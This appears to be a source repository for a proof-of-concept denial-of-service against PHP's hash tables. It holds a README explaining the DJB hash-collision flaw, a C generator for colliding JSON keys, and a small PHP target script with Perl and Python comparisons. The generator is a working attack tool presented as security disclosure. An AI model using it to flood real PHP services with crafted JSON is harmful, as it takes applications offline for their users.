├── .gitignore ├── LICENSE ├── Makefile ├── README.adoc ├── example └── 1048576.json ├── find-values-fast.c └── scripts ├── exploited.php ├── minimize.pl ├── unaffected.pl └── unaffected.py /.gitignore: -------------------------------------------------------------------------------- 1 | find-values-fast 2 | *.html 3 | test.json 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright © 2015 brian m. carlson 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: find-values-fast 2 | 3 | find-values-fast: find-values-fast.c 4 | $(CC) -O3 -o $@ $^ 5 | -------------------------------------------------------------------------------- /README.adoc: -------------------------------------------------------------------------------- 1 | PHP Hash DoS Vulnerability 2 | ========================== 3 | 4 | == Demonstration 5 | 6 | Run `time php scripts/exploited.php < example/1048576.json >/dev/null`. This 7 | script just reads in a JSON file and prints it out. If you'd like a smaller 8 | file, just run 9 | `perl scripts/minimize.pl 65536 < example/1048576.json >test.json` and use 10 | `test.json` instead. That produces a still pathological, but much smaller (1 11 | MiB), file. 12 | 13 | == FAQ 14 | 15 | What is this?:: 16 | This is a straightforward proof of concept DoS against PHP. By uploading a 17 | specially-crafted JSON file to a PHP script accepting it, PHP performs so much 18 | time inserting items into the hash that it can't do anything else. 19 | 20 | How does it work?:: 21 | PHP, like Perl, Python, and Ruby, provides hash tables, or associative arrays, 22 | that map strings (and sometimes other values) into arbitrary values. These 23 | hash tables are implemented by hashing the key with some hash function, and 24 | inserting it into the hash table's underlying array based on the bottom bits 25 | of that result. The performance of the hash table is dependent on the 26 | assumption that the hash values will be evenly distributed. 27 | + 28 | PHP, unlike Perl, Python, and Ruby, uses a hash function that computes the same 29 | value every time. As a consequence, it's possible to precompute a large number 30 | of keys where the hash values all have the relevant bits set to 0. 31 | Consequently, PHP has to perform an O(n) lookup on each insertion, access, and 32 | deletion, instead of an average case O(1). 33 | 34 | Why aren't other languages affected?:: 35 | Perl, Python, and Ruby all use a per-invocation secret key to manipulate their 36 | hash functions so that on different invocations the same strings will hash 37 | differently. As a result, any attack on a given invocation of a program will 38 | likely not succeed on subsequent invocations. It's also nearly impossible to 39 | precompute values that will affect all invocations of those programs. 40 | 41 | What versions of PHP are affected?:: 42 | This has been tested on PHP 7.0.0~rc3-3 as shipped by Debian. PHP 5.6 43 | (Debian's 5.6.13+dfsg-2) is as well. From looking at the source code of PHP 44 | 5.5, it is likely affected as well. All versions of PHP using the DJB "times 45 | 33" hash should be affected. 46 | 47 | How do I know if my PHP app is vulnerable?:: 48 | If your PHP app accepts JSON or YAML input from the user, or accepts untrusted 49 | input and inserts that input as keys in a hash, your application is likely 50 | vulnerable. An example JSON file with 1048576 entries is in the example 51 | directory. You can upload part or all of this file to your application and 52 | see how it performs. 53 | + 54 | On a 2.8 GHz Core i7, a JSON file containing 65536 entries takes the 55 | scripts/exploited.php script 5.358 seconds to process with PHP 7. With twice as 56 | many entries, it takes 21 seconds to process. PHP 5.6 performs much worse: the 57 | smaller file itself takes 22 seconds. 58 | 59 | How do I attack other people's systems with this?:: 60 | You don't. That's unethical; shame on you. 61 | 62 | How did you discover this?:: 63 | I looked at the source code, implemented the PHP hash function in C (after 64 | prototyping in Perl), and tested. 65 | 66 | Why attack PHP?:: 67 | These types of attacks have been known for some time. PHP has had CVEs 68 | allocated against it in the past for these types of attacks, but the only fix 69 | provided was the `max_input_vars` setting. However, in the world of RESTful 70 | web frameworks and JSON-laden POST requests, this setting is ineffective. 71 | Other languages have taken this issue as serious security issue, and so should 72 | PHP. This is an issue that should be properly fixed in the interpreter. 73 | 74 | How do I test this for myself?:: 75 | Run `php scripts/exploited.php < example/1048576.json`. This script just 76 | reads in a JSON file and prints it out. 77 | 78 | I want to sue you or make legal threats.:: 79 | First of all, that's not a question. Second, threatening people doing 80 | security work is a bad idea and is bad publicity for your company. Finally, I 81 | will publish any legal threats or correspondence from lawyers or the 82 | authorities publicly. I regret that I had to add this section, but this is 83 | the world we live in. 84 | -------------------------------------------------------------------------------- /find-values-fast.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | unsigned hash(const char *s, size_t len) 6 | { 7 | unsigned hash = 5381; 8 | for (size_t i = 0; i < len; i++) 9 | hash = ((hash << 5) + hash) + *s++; 10 | return hash; 11 | } 12 | 13 | unsigned partial_hash(const char *s, size_t len) 14 | { 15 | unsigned hash = 5381; 16 | for (size_t i = 0; i < len; i++) 17 | hash = ((hash << 5) + hash) + *s++; 18 | hash = ((hash << 5) + hash); 19 | return hash; 20 | } 21 | 22 | int increment(char *s, int offset, size_t len) 23 | { 24 | int next = 0; 25 | if (offset < 0) 26 | return 0; 27 | s[offset]++; 28 | while (!isalnum(s[offset])) { 29 | int val = ++s[offset]; 30 | /* Optimize slightly. */ 31 | if (val >= 'z') 32 | val = 0; 33 | if (!val) { 34 | s[offset] = '0'; 35 | if (!increment(s, offset-1, len)) 36 | return 0; 37 | next = 1; 38 | } 39 | } 40 | return next ? 2 : 1; 41 | } 42 | 43 | int print_values_matching(unsigned pow) 44 | { 45 | char s[] = "00000000000"; 46 | const size_t len = sizeof(s) - 1; 47 | unsigned mask = pow - 1; 48 | size_t total = 0; 49 | unsigned cache = partial_hash(s, len - 1); 50 | 51 | while (total < pow) { 52 | unsigned h = cache + s[len - 1]; 53 | #if 0 54 | if (h != hash(s, len)) { 55 | fprintf(stderr, "%08x %08x %s\n", h, hash(s, len), s); 56 | abort(); 57 | } 58 | #endif 59 | if (!(h & mask)) { 60 | printf(" \"%s\": null,\n", s); 61 | total++; 62 | } 63 | int ret = increment(s, len - 1, len); 64 | if (ret == 2) 65 | cache = partial_hash(s, len - 1); 66 | if (!ret) 67 | return 1; 68 | } 69 | return 0; 70 | } 71 | 72 | int main(int argc, char **argv) 73 | { 74 | int res; 75 | unsigned pow; 76 | if (argc < 2) { 77 | fprintf(stderr, "need a power of two"); 78 | return 2; 79 | } 80 | 81 | pow = atoi(argv[1]); 82 | if (!pow || (pow & (pow -1))) { 83 | fprintf(stderr, "need a power of two"); 84 | return 3; 85 | } 86 | 87 | printf("{\n"); 88 | res = print_values_matching(pow); 89 | /* Trailing comma is not valid in JSON, so generate a dummy entry. */ 90 | printf(" \"irrelevant\": null\n}\n"); 91 | 92 | return res; 93 | } 94 | -------------------------------------------------------------------------------- /scripts/exploited.php: -------------------------------------------------------------------------------- 1 | #!/usr/bin/php 2 | $value) { 7 | echo "$key => $value"; 8 | } 9 | ?> 10 | -------------------------------------------------------------------------------- /scripts/minimize.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # Minimize a JSON file. 3 | 4 | use strict; 5 | use warnings; 6 | 7 | my $size = shift @ARGV; 8 | 9 | my $count = 0; 10 | my $entry = ''; 11 | while () { 12 | $count++ if s/null/0/g; 13 | $entry .= $_; 14 | last if defined $size && $size == $count; 15 | } 16 | $entry .= "}" if $entry !~ /\}/; 17 | $entry =~ s/,\s+\}/\}/g; 18 | $entry =~ s/\s+//g; 19 | print $entry; 20 | -------------------------------------------------------------------------------- /scripts/unaffected.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | use strict; 4 | use warnings; 5 | 6 | use JSON; 7 | 8 | my $hash = JSON::decode_json(do { local $/; }); 9 | foreach my $key (keys %$hash) { 10 | print "$key => \n"; 11 | } 12 | -------------------------------------------------------------------------------- /scripts/unaffected.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import json 4 | import sys 5 | 6 | s = sys.stdin.read() 7 | obj = json.loads(s) 8 | for k in obj.keys(): 9 | print("%s => " % k) 10 | --------------------------------------------------------------------------------